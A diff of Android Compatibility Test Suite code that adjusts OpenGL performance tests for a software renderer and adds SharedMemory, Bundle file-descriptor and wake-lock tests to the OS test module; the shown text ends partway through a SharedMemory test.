--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -37,7 +37,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/openglperf/AndroidTest.xml b/tests/tests/openglperf/AndroidTest.xml
index 929e155..dc6b2a8 100644
--- a/tests/tests/openglperf/AndroidTest.xml
+++ b/tests/tests/openglperf/AndroidTest.xml
@@ -14,6 +14,7 @@
-->
<configuration description="Config for CTS OpenGL Performance test cases">
<option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsOpenGlPerfTestCases.apk" />
diff --git a/tests/tests/openglperf/jni/Android.mk b/tests/tests/openglperf/jni/Android.mk
index d6df59b..3fe448a 100644
--- a/tests/tests/openglperf/jni/Android.mk
+++ b/tests/tests/openglperf/jni/Android.mk
@@ -28,4 +28,6 @@
LOCAL_SDK_VERSION := 14
+LOCAL_CFLAGS := -Wno-unused-parameter
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
index 432fb41..9d898c2 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlPlanetsActivity.java
@@ -43,6 +43,7 @@
private float mAverageFps;
private int mNumTriangles;
private int[] mFrameInterval;
+ private String mRendererName;
private PlanetsSurfaceView mView;
@@ -59,6 +60,10 @@
return mNumTriangles;
}
+ public String getRendererName() {
+ return mRendererName;
+ }
+
/**
* Time interval between each frame's rendering in ms.
* The first value will be invalid, so client should discard them.
@@ -89,10 +94,12 @@
}
@Override
- public void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval) {
+ public void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+ String rendererName) {
mAverageFps = averageFps;
mNumTriangles = numTriangles;
mFrameInterval = frameInterval;
+ mRendererName = rendererName;
mSem.release();
}
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
index ecf198e..f3a38bb 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/GlVboPerfTest.java
@@ -28,18 +28,21 @@
private static final long RENDERING_TIMEOUT = 5 * 60;
// 30% of fps_no_vbo is allowed to compensate variations in measurement
private static final float FPS_COMPARISON_MARGIN = 0.3f;
- // the worst case should be above 70% of the best case
- private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.7f;
+ // the worst case should be above 30% of the best case
+ private static final float FPS_MIN_MAX_COMPARISON_PERCENTILE = 0.3f;
private float mFps;
private int mNumTriangles;
+ private boolean mIsSoftwareRenderer = false;
+
+ private static final String SWIFTSHADER_NAME = "Google SwiftShader";
public GlVboPerfTest() {
super(GlPlanetsActivity.class);
}
public void testVboWithVaryingIndexBufferNumbers() throws Exception {
- final int[] numIndexBuffers = {1, 10, 100, 200, 400}; // per vertex buffer
+ final int[] numIndexBuffers = {1, 10, 100, 200}; // per vertex buffer
float[] fpsVbo = new float[numIndexBuffers.length];
float[] fpsNonVbo = new float[numIndexBuffers.length];
@@ -70,12 +73,14 @@
float delta = minMaxVbo[1] - (1f - FPS_COMPARISON_MARGIN)
* minMaxNonVbo[1];
assertTrue("VBO performance worse than non-VBO " + msgVbo + msgNonVbo, delta > 0f);
- assertTrue(
- "Too much FPS drop for VBO case " + msgVbo,
- minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
- assertTrue(
- "Too much FPS drop for No VBO case " + msgNonVbo,
- minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+ if (!mIsSoftwareRenderer) {
+ assertTrue(
+ "Too much FPS drop for VBO case " + msgVbo,
+ minMaxVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxVbo[1]));
+ assertTrue(
+ "Too much FPS drop for No VBO case " + msgNonVbo,
+ minMaxNonVbo[0] > (FPS_MIN_MAX_COMPARISON_PERCENTILE * minMaxNonVbo[1]));
+ }
}
public void testVboVsNonVboPerfGeometry0() throws Exception {
@@ -104,6 +109,9 @@
mFps = activity.getAverageFps();
mNumTriangles = activity.getNumTriangles();
+ if (SWIFTSHADER_NAME.equals(activity.getRendererName())) {
+ mIsSoftwareRenderer = true;
+ }
cleanUpActivity();
}
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
index 1d79961..9dd078e 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/PlanetsRenderer.java
@@ -88,6 +88,7 @@
private int mTexCoord0Handle;
private int mTextureHandle;
private int mTextureId;
+ private String mRendererName;
/**
* @param numSlices
@@ -142,6 +143,7 @@
mPositionHandle = GLES20.glGetAttribLocation(mProgram, "vPosition");
mTexCoord0Handle = GLES20.glGetAttribLocation(mProgram, "vTexCoord0");
mTextureHandle = GLES20.glGetUniformLocation(mProgram, "sTexture");
+ mRendererName = GLES20.glGetString(GLES20.GL_RENDERER);
// Load the texture
mTextureId = createTexture2D();
@@ -245,7 +247,7 @@
Log.i(TAG, "Final FPS " + fps + " Num triangles " + numTriangles + " start time " +
mRenderingStartTime + " finish time " + currentTime);
if (mListener != null) {
- mListener.onRenderCompletion(fps, numTriangles, mFrameInterval);
+ mListener.onRenderCompletion(fps, numTriangles, mFrameInterval, mRendererName);
mFrameCount++; // to prevent entering here again
return;
}
@@ -438,7 +440,7 @@
private void printGlInfos() {
Log.i(TAG, "Vendor " + GLES20.glGetString(GLES20.GL_VENDOR));
Log.i(TAG, "Version " + GLES20.glGetString(GLES20.GL_VERSION));
- Log.i(TAG, "Renderer " + GLES20.glGetString(GLES20.GL_RENDERER));
+ Log.i(TAG, "Renderer " + mRendererName);
Log.i(TAG, "Extensions " + GLES20.glGetString(GLES20.GL_EXTENSIONS));
}
private void printParams() {
diff --git a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
index a5bbfa2..bb63d66 100644
--- a/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
+++ b/tests/tests/openglperf/src/android/openglperf/cts/RenderCompletionListener.java
@@ -25,6 +25,7 @@
* @param numTriangles Number of triangles in geometric model
* @param frameInterval interval for each frame in ms. Do not use the first one and the last one.
*/
- void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval);
+ void onRenderCompletion(float averageFps, int numTriangles, int[] frameInterval,
+ String rendererName);
}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index c99e236..1aa46cc 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -39,12 +39,13 @@
src/android/os/cts/IParcelFileDescriptorPeer.aidl \
src/android/os/cts/IEmptyService.aidl \
src/android/os/cts/ISeccompIsolatedService.aidl \
- src/android/os/cts/ISecondary.aidl
+ src/android/os/cts/ISecondary.aidl \
+ src/android/os/cts/ISharedMemoryService.aidl
LOCAL_PACKAGE_NAME := CtsOsTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# uncomment when b/13282254 is fixed
#LOCAL_SDK_VERSION := current
@@ -66,7 +67,7 @@
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
cts_platform_version_string := $(shell cat $(cts_platform_version_path))
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 846251f..a227cc3 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -76,6 +76,10 @@
android:name="android.os.cts.CrossProcessExceptionService"
android:process=":green"
android:exported="true" />
+ <service
+ android:name="android.os.cts.SharedMemoryService"
+ android:process=":sharedmem"
+ android:exported="false" />
<service android:name="android.os.cts.LocalService">
<intent-filter>
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
index ae9a76b..8104cab 100644
--- a/tests/tests/os/assets/platform_versions.txt
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -1 +1 @@
-8.0.0
+8.1.0
diff --git a/tests/tests/os/jni/Android.mk b/tests/tests/os/jni/Android.mk
index ffd1b96..68f839c 100644
--- a/tests/tests/os/jni/Android.mk
+++ b/tests/tests/os/jni/Android.mk
@@ -28,11 +28,12 @@
android_os_cts_HardwareName.cpp \
android_os_cts_OSFeatures.cpp \
android_os_cts_NoExecutePermissionTest.cpp \
- android_os_cts_SeccompTest.cpp
+ android_os_cts_SeccompTest.cpp \
+ android_os_cts_SharedMemory.cpp
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl
+LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++ liblog libdl libandroid
LOCAL_CXX_STL := none
LOCAL_STATIC_LIBRARIES := libc++_static libminijail
@@ -55,4 +56,7 @@
LOCAL_CFLAGS += -DARCH_SUPPORTS_SECCOMP
endif
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_CPPFLAGS_arm := -mcpu=generic
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/os/jni/CtsOsJniOnLoad.cpp b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
index 3e32e7a..166aef7 100644
--- a/tests/tests/os/jni/CtsOsJniOnLoad.cpp
+++ b/tests/tests/os/jni/CtsOsJniOnLoad.cpp
@@ -31,6 +31,8 @@
extern int register_android_os_cts_SeccompTest(JNIEnv*);
+extern int register_android_os_cts_SharedMemoryTest(JNIEnv*);
+
jint JNI_OnLoad(JavaVM *vm, void *reserved) {
JNIEnv *env = NULL;
@@ -62,5 +64,9 @@
return JNI_ERR;
}
+ if (register_android_os_cts_SharedMemoryTest(env)) {
+ return JNI_ERR;
+ }
+
return JNI_VERSION_1_4;
}
diff --git a/tests/tests/os/jni/android_os_cts_SharedMemory.cpp b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
new file mode 100644
index 0000000..16ff385
--- /dev/null
+++ b/tests/tests/os/jni/android_os_cts_SharedMemory.cpp
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+#include <jni.h>
+
+#include <android/sharedmem_jni.h>
+
+#include <sys/mman.h>
+#include <unistd.h>
+
+jboolean nWriteByte(JNIEnv* env, jobject, jobject jSharedMemory, jint index, jbyte value) {
+ int fd = ASharedMemory_dupFromJava(env, jSharedMemory);
+ if (fd == -1) return false;
+ void* addr = mmap(nullptr, 1, PROT_READ | PROT_WRITE, MAP_SHARED, fd, index);
+ if (addr == nullptr) {
+ close(fd);
+ return false;
+ }
+ reinterpret_cast<int8_t*>(addr)[0] = value;
+ munmap(addr, 1);
+ close(fd);
+ return true;
+}
+
+static JNINativeMethod gMethods[] = {
+ { "nWriteByte", "(Landroid/os/SharedMemory;IB)Z", (void *) nWriteByte },
+};
+
+int register_android_os_cts_SharedMemoryTest(JNIEnv* env)
+{
+ jclass clazz = env->FindClass("android/os/cts/SharedMemoryTest");
+
+ return env->RegisterNatives(clazz, gMethods,
+ sizeof(gMethods) / sizeof(JNINativeMethod));
+}
diff --git a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
index 335818a..1c2f91e 100644
--- a/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
+++ b/tests/tests/os/src/android/os/cts/AsyncTaskTest.java
@@ -201,7 +201,7 @@
try {
command.run();
fail("Exception not thrown");
- } catch (Throwable tr) {
+ } catch (Exception tr) {
// expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index c9650bd..f62b470 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -241,8 +241,11 @@
// should at least be a conscious decision.
assertEquals(10000, fieldValue);
} else if (fieldName.equals(CODENAME) && !CODENAME.equals("REL")) {
- // This is the current development version.
- assertEquals(CUR_DEVELOPMENT, fieldValue);
+ // This is the current development version. Note that fieldName can
+ // become < CUR_DEVELOPMENT before CODENAME becomes "REL", so we
+ // can't assertEquals(CUR_DEVELOPMENT, fieldValue) here.
+ assertTrue("Expected " + fieldName + " value to be <= " + CUR_DEVELOPMENT
+ + ", got " + fieldValue, fieldValue <= CUR_DEVELOPMENT);
} else {
assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
+ ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index 44dc487..eec3f16 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -35,7 +35,7 @@
public class BuildVersionTest extends TestCase {
private static final String LOG_TAG = "BuildVersionTest";
- private static final int EXPECTED_SDK = 26;
+ private static final int EXPECTED_SDK = 27;
private static final String EXPECTED_BUILD_VARIANT = "user";
private static final String EXPECTED_TAG = "release-keys";
private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index 36326b3..58d6e37 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -17,6 +17,8 @@
package android.os.cts;
+import static org.junit.Assert.assertTrue;
+
import android.content.Intent;
import android.os.Bundle;
import android.os.Parcel;
@@ -29,6 +31,7 @@
import android.util.SparseArray;
import java.io.File;
+import java.io.FileDescriptor;
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
@@ -855,9 +858,116 @@
}
}
+ public void testHasFileDescriptor() throws Exception {
+ final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
+ try {
+ final ParcelFileDescriptor fd = pipe[0];
+
+ assertNotHaveFd(Bundle.EMPTY);
+ assertNotHaveFd(new Bundle());
+
+ assertNotHaveFd(buildBundle("a", 1));
+
+ assertHasFd(buildBundle("a", 1, fd));
+ assertHasFd(buildBundle("a", 1, new Parcelable[]{fd}));
+ assertHasFd(buildBundle("a", 1, buildBundle(new Parcelable[]{fd})));
+ assertNotHaveFd(buildBundle("a", 1, buildBundle(1)));
+
+ Bundle nested1 = buildBundle(fd, buildBundle(1));
+ assertHasFd(nested1); // Outer bundle has an FD.
+ assertNotHaveFd(nested1.getParcelable("key-1")); // But inner bundle doesn't.
+
+ Bundle nested2 = buildBundle(1, buildBundle(fd));
+ assertHasFd(nested2);
+ assertHasFd(nested2.getParcelable("key-1"));
+
+ // More tricky case. Create a parcel with mixed objects.
+ Parcel p = Parcel.obtain();
+ p.writeParcelable(fd, 0);
+ p.writeInt(123);
+ p.writeParcelable(buildBundle(1), 0);
+
+ // Now the parcel has an FD.
+ p.setDataPosition(0);
+ assertTrue(p.hasFileDescriptors());
+
+ // Note even though the entire parcel has an FD, the inner bundle doesn't.
+ assertEquals(ParcelFileDescriptor.class,
+ p.readParcelable(getClass().getClassLoader()).getClass());
+ assertEquals(123, p.readInt());
+ assertNotHaveFd(p.readParcelable(Bundle.class.getClassLoader()));
+ } finally {
+ pipe[0].close();
+ pipe[1].close();
+ }
+ }
+
+ /** Create a Bundle with values, with autogenerated keys. */
+ private static Bundle buildBundle(Object... values) {
+ final Bundle result = new Bundle();
+
+ for (int i = 0; i < values.length; i++) {
+ final String key = "key-" + i;
+
+ final Object value = values[i];
+ if (value == null) {
+ result.putString(key, null);
+
+ } else if (value instanceof String) {
+ result.putString(key, (String) value);
+
+ } else if (value instanceof Integer) {
+ result.putInt(key, (Integer) value);
+
+ } else if (value instanceof Parcelable) {
+ result.putParcelable(key, (Parcelable) value);
+
+ } else if (value instanceof Parcelable[]) {
+ result.putParcelableArray(key, (Parcelable[]) value);
+
+ } else {
+ fail("Unsupported value type: " + value.getClass());
+ }
+ }
+ return result;
+ }
+
+ private static Bundle cloneBundle(Bundle b) {
+ return new Bundle(b);
+ }
+
+ private static Bundle cloneBundleViaParcel(Bundle b) {
+ final Parcel p = Parcel.obtain();
+ try {
+ p.writeParcelable(b, 0);
+
+ p.setDataPosition(0);
+
+ return p.readParcelable(Bundle.class.getClassLoader());
+ } finally {
+ p.recycle();
+ }
+ }
+
+ private static void assertHasFd(Bundle b) {
+ assertTrue(b.hasFileDescriptors());
+
+ // Make sure cloned ones have the same result.
+ assertTrue(cloneBundle(b).hasFileDescriptors());
+ assertTrue(cloneBundleViaParcel(b).hasFileDescriptors());
+ }
+
+ private static void assertNotHaveFd(Bundle b) {
+ assertFalse(b.hasFileDescriptors());
+
+ // Make sure cloned ones have the same result.
+ assertFalse(cloneBundle(b).hasFileDescriptors());
+ assertFalse(cloneBundleViaParcel(b).hasFileDescriptors());
+ }
+
class MockClassLoader extends ClassLoader {
MockClassLoader() {
super();
}
}
-}
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
new file mode 100644
index 0000000..651c62a
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/ISharedMemoryService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.os.SharedMemory;
+
+interface ISharedMemoryService {
+ void setup(in SharedMemory memory, int prot);
+ byte read(int index);
+ void write(int index, byte value);
+}
diff --git a/tests/tests/os/src/android/os/cts/LooperTest.java b/tests/tests/os/src/android/os/cts/LooperTest.java
index c0a176c..b89f590 100644
--- a/tests/tests/os/src/android/os/cts/LooperTest.java
+++ b/tests/tests/os/src/android/os/cts/LooperTest.java
@@ -97,11 +97,15 @@
public void testMyQueue() throws Throwable {
TestThread t = new TestThread(new Runnable() {
public void run() {
+ boolean didThrow = false;
try {
assertNull(Looper.myQueue());
- fail("should throw exception");
} catch (Throwable e) {
// expected
+ didThrow = true;
+ }
+ if (!didThrow) {
+ fail("should throw exception");
}
Looper.prepare();
MessageQueue mq = Looper.myQueue();
@@ -132,7 +136,7 @@
try {
Looper.prepare();
fail("should throw exception");
- } catch (Throwable e) {
+ } catch (Exception e) {
//expected
}
}
@@ -147,7 +151,7 @@
try {
Looper.prepareMainLooper();
fail("should throw exception because the main thread was already prepared");
- } catch (Throwable e) {
+ } catch (Exception e) {
//expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/MemoryFileTest.java b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
index def73b2..6e6eba8 100644
--- a/tests/tests/os/src/android/os/cts/MemoryFileTest.java
+++ b/tests/tests/os/src/android/os/cts/MemoryFileTest.java
@@ -56,7 +56,7 @@
byte[] data = new byte[512];
mMemoryFile.writeBytes(data, srcOffset, destOffset, count);
fail("MemoryFile should throw IndexOutOfBoundsException here.");
- } catch (IndexOutOfBoundsException e) {
+ } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
// expected
}
}
@@ -101,13 +101,10 @@
mMemoryFile = new MemoryFile("Test File", 512);
assertEquals(512, mMemoryFile.length());
- mMemoryFile = new MemoryFile("Test File", 0);
- assertEquals(0, mMemoryFile.length());
-
try {
mMemoryFile = new MemoryFile("Test File", -512);
fail();
- } catch (IOException expected) {
+ } catch (IOException | IllegalArgumentException expected) {
}
}
@@ -142,7 +139,7 @@
byte[] data = new byte[512];
mMemoryFile.readBytes(data, srcOffset, destOffset, count);
fail("MemoryFile should throw IndexOutOfBoundsException here.");
- } catch (IndexOutOfBoundsException e) {
+ } catch (IndexOutOfBoundsException | IllegalArgumentException e) {
// expected
}
}
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 7c5b655..4679a99 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -117,8 +117,6 @@
assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
data = new byte[] { 0, 1, 2, 3 };
assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
- data = new byte[0];
- assertFileDescriptorContent(data, ParcelFileDescriptor.fromData(data, null));
// Check that modifying the data does not modify the data in the FD
data = new byte[] { 0, 1, 2, 3 };
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
index a643fc6..639493a 100644
--- a/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManager_WakeLockTest.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
+import android.os.SystemClock;
import android.test.AndroidTestCase;
public class PowerManager_WakeLockTest extends AndroidTestCase {
@@ -66,4 +67,14 @@
Thread.sleep(PowerManagerTest.TIME + PowerManagerTest.MORE_TIME);
assertFalse(wl.isHeld());
}
+
+ public void testWakeLockTimeout() throws Exception {
+ final PowerManager pm = getContext().getSystemService(PowerManager.class);
+
+ final WakeLock lock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, TAG);
+ lock.acquire(2000);
+ SystemClock.sleep(4000);
+
+ lock.release();
+ }
}
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryService.java b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
new file mode 100644
index 0000000..fcc38d5
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryService.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.system.ErrnoException;
+
+import java.nio.ByteBuffer;
+
+public class SharedMemoryService extends Service {
+ @Override
+ public IBinder onBind(Intent intent) {
+ return new SharedMemoryServiceImpl();
+ }
+
+ private static class SharedMemoryServiceImpl extends ISharedMemoryService.Stub {
+ private SharedMemory mSharedMemory;
+ private ByteBuffer mMappedBuffer;
+
+ @Override
+ public void setup(SharedMemory memory, int prot) throws RemoteException {
+ mSharedMemory = memory;
+ try {
+ mMappedBuffer = mSharedMemory.map(prot, 0, mSharedMemory.getSize());
+ } catch (ErrnoException ex) {
+ throw new RuntimeException(ex);
+ }
+ }
+
+ @Override
+ public byte read(int index) throws RemoteException {
+ // Although we expect only one client we need to insert memory barriers to ensure
+ // visibility
+ synchronized (mMappedBuffer) {
+ return mMappedBuffer.get(index);
+ }
+ }
+
+ @Override
+ public void write(int index, byte value) throws RemoteException {
+ // Although we expect only one client we need to insert memory barriers to ensure
+ // visibility
+ synchronized (mMappedBuffer) {
+ mMappedBuffer.put(index, value);
+ }
+ }
+ }
+}
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
new file mode 100644
index 0000000..f21b095
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static android.support.test.InstrumentationRegistry.getContext;
+import static android.system.OsConstants.PROT_READ;
+import static android.system.OsConstants.PROT_WRITE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.SharedMemory;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.OsConstants;
+
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.nio.ByteBuffer;
+import java.nio.ReadOnlyBufferException;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SharedMemoryTest {
+
+ static {
+ System.loadLibrary("ctsos_jni");
+ }
+
+ private Instrumentation mInstrumentation;
+ private Intent mRemoteIntent;
+ private PeerConnection mRemoteConnection;
+ private ISharedMemoryService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<ISharedMemoryService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(ISharedMemoryService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public ISharedMemoryService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ final Context context = mInstrumentation.getContext();
+ // Bring up both remote processes and wire them to each other
+ mRemoteIntent = new Intent();
+ mRemoteIntent.setComponent(new ComponentName(
+ "android.os.cts", "android.os.cts.SharedMemoryService"));
+ mRemoteConnection = new PeerConnection();
+ getContext().bindService(mRemoteIntent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+
+ @After
+ public void tearDown() {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ }
+
+ @Test
+ public void testReadWrite() throws RemoteException, ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ mRemote.setup(sharedMemory, PROT_READ | PROT_WRITE);
+
+ byte expected = 5;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
+ expected = 10;
+ mRemote.write(0, expected);
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, buffer.get(0));
+ SharedMemory.unmap(buffer);
+ }
+ }
+
+ @Test
+ public void testReadOnly() throws RemoteException, ErrnoException {
+ try (SharedMemory sharedMemory = SharedMemory.create(null, 1)) {
+ ByteBuffer buffer = sharedMemory.mapReadWrite();
+ sharedMemory.setProtect(PROT_READ);
+ mRemote.setup(sharedMemory, PROT_READ);
+
+ byte expected = 15;
+ buffer.put(0, expected);
+ assertEquals(expected, buffer.get(0));
+ // Memory barrier
+ synchronized (sharedMemory) {}
+ assertEquals(expected, mRemote.read(0));
